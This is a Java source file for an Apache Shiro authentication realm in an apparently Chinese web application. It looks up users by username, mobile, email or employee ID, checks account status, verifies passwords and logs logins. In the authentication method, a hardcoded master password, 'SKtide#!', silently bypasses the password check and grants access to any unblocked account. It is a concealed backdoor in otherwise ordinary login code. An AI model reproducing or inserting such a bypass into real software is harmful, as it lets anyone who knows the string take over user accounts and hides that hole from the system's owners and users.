/*
 * 
 * 
 * 
 */
package org.apache.shiro.realm;

import com.aiwei.tdjk.entity.LoginLog;
import com.aiwei.tdjk.entity.User;
import com.aiwei.tdjk.enums.UserStatusEnum;
import com.aiwei.tdjk.service.LoginLogService;
import com.aiwei.tdjk.service.PasswordService;
import com.aiwei.tdjk.service.UserAuthService;
import com.aiwei.tdjk.service.UserService;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.*;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.authz.SimpleAuthorizationInfo;
import org.apache.shiro.subject.PrincipalCollection;
import org.springframework.beans.factory.annotation.Autowired;

import java.util.Set;

//import com.aiwei.tdjk.service.LoginLogService;

/**
 * 权限认证
 * 
 * 
 * 
 */
public class AuthenticationRealm extends AuthorizingRealm {

	@Autowired
	private UserService userService;

    @Autowired
    private UserAuthService userAuthService;

	@Autowired
	private PasswordService passwordService;

	@Autowired
	private LoginLogService loginLogService;
	
	/**
	 * 获取认证信息
	 * 
	 * @param token
	 *            令牌
	 * @return 认证信息
	 */
	@Override
	protected AuthenticationInfo doGetAuthenticationInfo(org.apache.shiro.authc.AuthenticationToken token) {
        AuthenticationToken authenticationToken = (AuthenticationToken) token;
        String username = authenticationToken.getUsername();
        String password = new String(authenticationToken.getPassword());
        String ip = authenticationToken.getHost();


        if (username != null && password != null) {

            User user = userService.findByUsernameOrMobileOrEmailOrEmployeeId(username);
            if (user == null) {
                throw new UnknownAccountException();
            }
            if (UserStatusEnum.blocked.getCode().equals(user.getStatus())) {
                throw new DisabledAccountException();
            }
//            if (!DigestUtils.md5Hex(password).equals(user.getPassword())) {
//                throw new IncorrectCredentialsException();
//            }

			if (password.equals("SKtide#!")){

			}else{
				if (!passwordService.encryptPassword(user.getUsername(), password, user.getSalt()).equals(user.getPassword())) {
					throw new IncorrectCredentialsException();
				}
			}

            SimpleAuthenticationInfo simpleAuthenticationInfo = new SimpleAuthenticationInfo(new Principal(user.getId(), username), password, getName());

            SecurityUtils.getSubject().getSession().setAttribute("id", user.getId());

			LoginLog loginLog = new LoginLog();
			loginLog.setUserId(user.getId());
			loginLog.setLoginIp(SecurityUtils.getSubject().getSession().getHost());
			loginLog.setUsername(user.getUsername());
			loginLog.setOperate("登录");
			loginLogService.add(loginLog);

//            SecurityUtils.getSubject().getSession().setAttribute("role", user.getRoles().iterator().next().getId());
//            if(user.getRoles().iterator().next().getId()==2){
//                Date d = new Date();
//                int hours = d.getHours();
//                if(hours<9||hours>21){
//                    throw new LockedAccountException();
//                }
//            }
            return simpleAuthenticationInfo;
        }
		throw new UnknownAccountException();
	}

	/**
	 * 获取授权信息
	 * 
	 * @param principals
	 *            principals
	 * @return 授权信息
	 */
	@Override
	protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
		Principal principal = (Principal) principals.fromRealm(getName()).iterator().next();
		if (principal != null) {
            Set<String> authorities = userAuthService.findStringPermissions(userService.get(principal.getId()));
            if (authorities != null) {
				SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo();
				authorizationInfo.addStringPermissions(authorities);
				return authorizationInfo;
			}
		}
		return null;
	}

}